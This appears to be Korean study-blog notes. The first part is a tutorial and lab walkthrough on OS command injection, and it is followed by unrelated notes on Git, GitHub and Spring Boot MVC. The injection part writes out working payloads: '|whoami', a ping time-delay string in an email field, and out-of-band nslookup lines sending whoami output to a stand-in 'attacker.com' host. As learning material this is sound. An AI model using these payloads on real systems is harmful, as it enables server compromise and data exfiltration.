command injection : 검증되지 않은 사용자 입력이 OS명령어로 실행될 때 발생하는 취약점

Shell injection이라고도 함
작은 입력 조작으로 서버 권한을 탈취할 수 있음
웹과 OS보안 경계를 무너뜨림
애플리케이션 및 데이터를 완전 장악할 수 있음
서버 인프라 확장 공격(pivoting)을 할 수 있게 함
신뢰 관계를 악용하여 조직 내 다른 시스템을 공격

commend injection 공격 기법

1. 단순 주입 ex) echo, whoami

: 사용자 입력이 서버의 운영체제 명령 실행 과정에 직접 포함되는 취약점

2. Blind 공격 ex) 시간지연, 출력 리다이렉션, 외부 서버 통신

: 공격자는 입력값 뒤에 명령어 구분자(& ; | 등)을 붙여 추가 명령 실행 가능

3. 명령어 구분자(& ; | 등) 활용

: 결과가 보이지 않는 경우엔 즉시 확인 가능. 보이지 않는 경우(Blind)에도 다양한 방식으로 공격 가능

기본 명령어

: 공격자가 시스템에 들어가면 "지금 내가 어디 있는지, 무슨 권한인지" 확인하기위해 아래의 명령어부터 실행

Blind OS Commend injection

- 많은 사례는 블라인드 취약점이면 명령 실행결과가 HTTP응답에 직접 나타나지 않음

- 출력이 없더라도 네트워크, 시간, 파일시스템 등 다른 채널을 통해 탐지 및 악용 가능

기법1. 시간 지연 : 응답시간이 지연되는지로 확인

& ping -c 10 127.0.0.1 &

기법2. 출력 리다이렉션 : 파일을 직접 열어 결과 확인

& whoami > /var/www/static/whoami.txt &

기법3. Out-of-Band (OAST)

& nslookup attacker.com &

: 공격자가 제어하는 서버로 DNS 요청 발생

& nslookup \ whoami'.attacker.com &'

: 공격자가 자신의 DNS 서버에서 whoami결과를 확인 가능 (데이터 유출)

OS Commend injection

- 명령어 구분자

Window / Unix 공통: &, &&, |, ||

Unix 전용: ;, \n

- 인라인 실행(Unix) : 원래의 명령 안에 삽입되어 실행됨

whoami', $(uname -a)

- 메타 문자의 특성

구분자/인라인 기호마다 동작 차이가 있음
어떤 것은 출력이 바로 보이고(in-Band), 어떤 것은 Blind 상황에서만 활용 가능

- 따옴표 닫고 주입

: 입력이 큰따옴표나 작은따옴표 안에 있으면 먼저 닫은 후에 새 명령어 삽입

commend injection 예방 방법

- 입력값 검증(Validation, Sanitization)

- 파라미터화된 쿼리(Prepared Statement, Blind Variable) 사용

- 최소 권한 원칙

- 에러 메시지 최소화

- Web Application Firewall(WAF) 등 보안시스템 활용

whoami 명령어를 이용한 OS 커맨드 인젝션 취약점 진단

1. ACCESS THE LAB 클릭

2. 제품 클릭 후 상세 페이지로 이동

3. intercept on 후에 check stock을 누름

4. 맨처음에 뜨는 POST타입 Request 확인

5. 해당 Request끝에 &whoami(현재 시스템 사용자가 누구인지 확인하는 명령어)를 붙여 변조

6. 해당 Request를 reapeter로 send

7. Repeater에서 send해서 Response를 보면 원래 요청했던 재고개수만 출력되고 어떤 사용자가 이용하는지는 출력되지않음

8. Request로 다시 돌아와서 |whoami로 변조

9. send to reapeter를 해서 send를 해보면 response에서 사용자계정명이 출력되는 것을 볼 수 있음

(|는 앞 명령어의 결과내용을 뒤 명령어의 입력값으로 받아들여 앞 명령어의 결과인 재고 개수는 출력되지않음. 그러나 whoami 실행은 보장됨)

10. proxy로 돌아와서 forward를 하면 아래와 같은 결과를 볼 수 있음 (사진 맨 아래쪽에 사용자계정명도 출력됨)

Blind OS Command Injection 취약점을 이용하여 서버가 응답하는 시간을 10초 동안 지연시키기

1. ACCESS THE LAB 클릭

2. Submit feedback 클릭

3. 각 칸을 채우고 Submit feedback

4. POST 요청 본문에서 email부분을 두번째 사진과 같이 바꾸고 forward

+) email=a||ping+-c+10+127.0.0.1|| 에서

a : 이메일 형식 시작부분(구문 오류 방지, 공격 명령어 이어붙이기위해 사용)

|| : 앞명령어가 실패하더라도 뒤의 명령어를 실행하라는 논리연산자 OR

ping: 네트워크 연결을 확인 하는 도구 (반드시 실행되도록 강제하는 역할)

-c 10: 패킷을 10번 보내라는 옵션(보통 1초에 한번씩 보내므로 약 10초의 시간지연을 의도적으로 만드는 것)

127.0.0.1 : 자기 자신(local host)에게 패킷을 보내 서버 내부에서만 동작하게 함

+ : 공백

5. 10초 정도의 지연 후 배너 뜸

[2주차] Git & Github, 스프링부트

batterygj — Wed, 29 Apr 2026 14:30:39 +0900

Git

:(소프트웨어 개발에서 코드의 변경 사항을 기록,관리) 분산 버전 관리 시스템

Github

: git을 사용하는 프로젝트를 지원하는 웹 호스팅 서비스

repository(저장소)

- local repository(로컬 저장소) ; 내 컴퓨터 안에 저장소

: 네트워크 연결없이 작업 내용을 커밋하거나 과거 기록 조회 가능. 커밋들이 영구적으로 저장되는 영역

- remote repository(원격 저장소) ; 외부 서버(gitbub 등)에 위치한 저장소

: 여러사람이 공유 가능

- upstream : 소스 원형이 기록된 서버 저장소

- origin : 원형을 복제하여 만든 나의 서버 저장소(기본 원격 저장소)

용어정리

- 기본 구조

Working Directory : 작업 디렉토리. Git이 관리하지만 추적하지 않음
Staging Area : 작업 내용이 올라가는 임시 저장 영역(=index)

- 작업 흐름

commit : 프로젝트의 현재 상태를 나타내는 체크포인트 또는 스냅샷(과거 모든기록이 타임라인으로 남음)
add : 파일을 working directory에서 staging area로 옮기는 작업
push : 로컬의 commit을 원격 저장소로 업로드
pull : 원격 저장소의 변경 사항을 로컬에 저장하는 과정
fetch : 원격 저장소의 변경 사항을 로컬 저장소에 pull하기 전에 미리 확인만 하는 기능
clone : 원격 저장소의 모든 데이터를 나의 로컬 저장소로 복제해오는 기능

- 협업 관련

branch : 독립적 작업흐름을 위한 가지치기. 작업은 현재 상태를 복사한 브랜치에서 해야함
merge : 분리된 브랜치에서의 작업을 다시 메인 브랜치로 합치기(브랜치 간 충돌 주의)
head : 현재 내가 작업 중인 브랜치의 가장 최신 커밋을 가리키는 포인터
switch : 작업중인 브랜치를 변경
checkout : 특정 커밋 시점으로 이동
conflict : 같은 파일의 같은 부분을 두명이 동시에 수정했을 때 git이 자동으로 합치지 못해 발생. 개발자가 직접 해결해야 함

- Github 및 오픈소스 관련 용어

fork : 다른 사람의 원격 저장소를 내 원격 저장소로 복제
pull request : 내가 작업한 내용을 원본 저장소에 반영해달라고 요청
issue : 프로제트의 버그, 건의사항, 할 일 등을 기록하고 논의하는 게시판

.gitignore : Git 버전 관리에서 제외할 파일 목록을 지정하는 파일

+) fork한 repository: 원본 변화시 상태 변화없음. 반영 시키려면 github에서 'Sync Fork'

clone된 로컬: 원본 변화시 상태 변화없음. 반영 시키려면 터미널에서 git pull 또는 fetch 실행

스프링부트

: 스프링 프레임 워크를 기반으로 한, 스프링을 더 쉽게 이용하기 위한 도구

+) 프레임 워크: 개발 과정을 수월하게 하기 위해 공통적 기능을 라이브러리 형태로 제공하는 것

+) 스프링 프레임 워크: Java를 기반으로 한 웹 어플리케이션 프레임 워크

핵심특징

- 단독 실행 가능

- 자동 설정: 자바 설정 코드 등을 직접 작성하지 않아도 필요한 설정을 자동으로 구성

- 스타터 의존성: 스타터 라이브러리를 통해 특정 목적에 필요한 라이브러리 묶음 간편 관리

- 운영 준비 완료: 운영 환경에서 필요한 기능 기본 제공

MVC 아키텍처 패턴

: 애플리케이션의 역할을 세가지로 나누어 관리하는 디자인 패턴 ( 코드의 재사용성을 높이고 유지보수를 용이하게 함)

+) 디자인 패턴: 효율적으로 코드를 작성하기 위한 코딩 규칙 or 프로젝트 구조 및 규약

model: 데이터와 비즈니스 로직 담당. 데이터베이스와 상호작용하며 데이터를 정의, 처리
view:사용자에게 보여지는 화면(UI) 담당. 모델로부터 받은 데이터를 출력
controller: 사용자의 요청을 받아 처리 흐름을 제어. 모델에 데이터를 요청하고 그 결과를 뷰에 전달

스프링부트의 폴더 구조

controller

- 클라이언트로부터 요청을 받고, 해당 요청에 대한 처리 수행

- HTTP 요청 처리(GET, POST, PUT, DELETE 등의 메서드를 가짐)

@RestController  // 이 클래스가 HTTP 요청을 처리하는 컨트롤러임을 선언
public class HelloController{

	@GetMapping("/hello")  // 클라이언트가 브러우저 주소창에 "/hello" 경로로 HTTP GET요청을 보내면 아래의 메서드와 연결
	public String hello(){   // 요청이 들어왔을 때 실행될 메서드
		return "Hello, world!";  // 클라이언트에게 다음의 문장을 보냄
		}
}

+) @RestController: @Controller와 @ResponseBody를 합친것. 데이터를 응답 본문에 직접 담아 반환

domain

- 데이터베이스 테이블과 매핑되는 클래스들

- 어플리케이션의 도메인 모델

- 엔티티 클래스와 DTO 클래스를 포함

+) DTO: 데이터 전달을 담당하는 객체

public class User{		// User 정보를 담기 위한 클래스 선언
	private Long id;	// 각 사용자를 고유하게 식별하기 위한 ID
	private String username;		// 사용자의 이름이나 아이디를 저장하기 위한 문자열 필드
	private String email;		// 사용자의 이메일 주소를 저장하기 위한 문자열 필드
}

repository

- 데이터베이스와 상호작용 담당. 데이터베이스에서 데이터를 읽고 쓰는 작업을 수행

- CRUD 작업 수행

save(), findByld(), findAll()과 같은 메서드를 자동으로 제공 -> Spring Data JPA

@Repository		// 이 인터페이스가 데이터 접근 계층임을 스프링에 알림
public interface UserRepository extends JpaRepository<User, Long>{	//JpaRepository를 상속받음
	User findbyUsername(String username); 	// 쿼리 메소드 기능
}

+) <User, Long> : 이 리포지토리가 다룰 엔티티 클래스(User)와 그 엔티티의 PK타입(Long)

JpaRepository를 상속받으면 save(), delete() 같은 기본 CRUD기능 바로 사용 가능

+) 메서드 이름을 규칙에 맞게 지으면 스프링이 이를 분석해 자동으로 SQL 쿼리를 생성

-> 내부적으로 "SELECT * FROM user WHERE username = ?" 같은 쿼리가 실행

service

- 비즈니스 로직 수행 (트랜잭션 관리, 예외 처리 등)

- 여러 저장소를 조합하거나 데이터 가공을 담당

@Service // 이 클래스가 비즈니스 로직을 수행하는 서비스 계층임을 스프링에 알림
public class UserService{
	@Autowired		// 스프링이 관리하는 UserRepository 객체를 자동으로 이 자리에 주입
	private UserRepository userRepository;  
	public User getUserByUsername(String username){   // 사용자의 이름을 통해 유저 정보를 가져오는 비즈니스 메서드
		return userRepository.findByUsername(username);  // 주입받은 리포지토리의 메서드를 호출해 실제 DB조회를 수행 후 결과 반환
	}
}

+) @Autowired : 개발자는 직접 new UserRepository() 등을 할 필요 없이 바로 사용 가능

+) @~~: 어노테이션(Annotation). 코드에 추가하는 메타데이터(데이터에 대한 데이터).

컴파일러나 프레임워크(스프링)에게 "이 클래스나 메서드는 이런 역할을 하니까 이렇게 처리해줘!"라고 내리는 특수 지시어

사용자가 로그인을 시도하는 경우(요청 처리흐름)

1단계: 클라이언트의 요청 (Client Request)

상황: 사용자가 브라우저(UI)에서 아이디와 비밀번호를 입력하고 로그인
동작: 입력된 데이터가 HTTP 요청 메시지에 담겨 서버로 전송됨 (보통 보안을 위해 POST 방식을 사용)

2단계: DispatcherServlet의 요청 처리

상황: 서버에 요청이 도착하면 가장 먼저 DispatcherServlet이 이를 받음
동작: 공통적인 전처리 작업을 수행한 후, 이 요청을 처리할 수 있는 적절한 Controller를 호출

3단계: Controller가 요청 처리

상황: @RestController 또는 @Controller가 요청을 넘겨받음
동작: HTTP 요청 본문에 담긴 로그인 정보(ID, PW)를 DTO(Data Transfer Object) 객체로 변환하여 읽어들임

4단계: Service에 데이터 전달 및 비즈니스 로직 요청

상황: 컨트롤러는 직접 DB에 접근하지 않고, 해당 기능을 담당하는 Service 계층에 데이터를 넘김
동작: userService.login(dto)와 같은 메서드를 호출하여 "이 정보로 로그인이 가능한지 확인해줘"라고 요청

5단계: JPA Repository를 통한 데이터베이스 조회

상황: 서비스는 실제 사용자의 정보가 DB에 있는지 확인하기 위해 Repository를 호출합니다.
동작: Repository는 Spring Data JPA를 사용하여 SELECT * FROM user WHERE username = ?과 같은 쿼리를 실행하고, 결과를 Entity 객체로 반환

6단계: Service의 로직 처리 (검증)

상황: DB에서 가져온 Entity와 사용자가 입력한 DTO 정보를 비교
동작: 비밀번호가 일치하는지, 계정이 정지되지는 않았는지 등의 비즈니스 로직을 수행한 후, 로그인 성공 여부(성공/실패)를 결정하여 컨트롤러에 반환

7단계: Controller 응답 생성 및 반환 (Response)

상황: 서비스로부터 결과를 받은 컨트롤러가 최종 응답 생성
동작: 성공 시에는 메인 화면으로 이동하거나 토큰(JWT 등)을 발급하고, 실패 시에는 에러 메시지를 담아 클라이언트(브라우저)에게 전송